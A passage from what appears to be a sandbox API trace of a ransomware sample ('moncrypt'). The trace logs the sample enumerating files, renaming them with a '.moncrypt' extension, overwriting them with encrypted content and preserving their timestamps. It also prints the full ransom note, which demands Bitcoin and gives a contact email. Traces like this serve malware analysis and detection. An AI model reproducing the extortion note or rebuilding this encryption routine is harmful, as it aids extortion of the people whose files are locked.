lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0050.603] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\BLENDS\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 4 [0050.603] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0050.604] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.604] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.604] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.604] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.604] GlobalUnlock (hMem=0x440004) returned 0 [0050.604] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.604] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.604] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.604] GlobalUnlock (hMem=0x440004) returned 0 [0050.604] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.604] GlobalUnlock (hMem=0x44000c) returned 0 [0050.604] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.604] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0050.605] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0050.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0050.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0050.605] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.605] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.605] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0050.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.moncrypt")) returned 1 [0050.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.607] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.607] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x5093 [0050.607] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.607] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.608] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.608] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.609] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.609] GlobalUnlock (hMem=0x440004) returned 0 [0050.609] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.609] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.609] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.609] GlobalUnlock (hMem=0x440004) returned 0 [0050.609] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.609] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.609] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.609] GlobalUnlock (hMem=0x44000c) returned 0 [0050.609] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.609] GlobalUnlock (hMem=0x440004) returned 0 [0050.609] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.609] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.610] GlobalUnlock (hMem=0x440004) returned 0 [0050.610] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.610] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.610] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.610] GlobalUnlock (hMem=0x440004) returned 0 [0050.610] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.610] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.610] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.610] SetFilePointer (in: hFile=0x18c, lDistanceToMove=20627, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x5093 [0050.610] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.610] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.610] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.621] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.621] CloseHandle (hObject=0x18c) returned 1 [0050.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.622] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.622] CloseHandle (hObject=0x18c) returned 1 [0050.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0050.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.623] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.623] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.623] GlobalUnlock (hMem=0x440004) returned 0 [0050.623] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.623] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.623] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.623] GlobalUnlock (hMem=0x440004) returned 0 [0050.623] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.623] GlobalUnlock (hMem=0x44000c) returned 0 [0050.623] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f67cbe0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f67cbe0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f67cbe0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0050.623] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0050.623] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0050.623] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.623] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.624] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.624] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.624] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.624] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.624] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.624] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0050.624] CloseHandle (hObject=0x18c) returned 1 [0050.624] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0050.624] GetLastError () returned 0x12 [0050.624] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.625] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.625] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.625] GlobalUnlock (hMem=0x44000c) returned 0 [0050.625] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.625] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.625] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.625] GlobalUnlock (hMem=0x44000c) returned 0 [0050.625] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.625] GlobalUnlock (hMem=0x440004) returned 0 [0050.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f67cbe0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f67cbe0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.625] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.625] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.625] GlobalLock (hMem=0x440004) returned 0x550170 [0050.625] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.625] GlobalUnlock (hMem=0x440004) returned 0 [0050.625] GlobalLock (hMem=0x440004) returned 0x550170 [0050.625] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.625] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.625] GlobalUnlock (hMem=0x440004) returned 0 [0050.625] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.625] GlobalUnlock (hMem=0x44000c) returned 0 [0050.625] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.625] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f67cbe0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f67cbe0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.626] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.626] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.626] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.626] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.626] GlobalUnlock (hMem=0x44000c) returned 0 [0050.626] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.626] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.626] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.626] GlobalUnlock (hMem=0x44000c) returned 0 [0050.626] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.626] GlobalUnlock (hMem=0x440004) returned 0 [0050.626] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.626] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM.moncrypt", cAlternateFileName="BLENDS~1.MON")) returned 1 [0050.626] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.626] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.626] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.626] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.626] GlobalUnlock (hMem=0x440004) returned 0 [0050.626] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.626] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.626] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.626] GlobalUnlock (hMem=0x440004) returned 0 [0050.626] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.626] GlobalUnlock (hMem=0x44000c) returned 0 [0050.626] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.626] FindNextFileW (in: 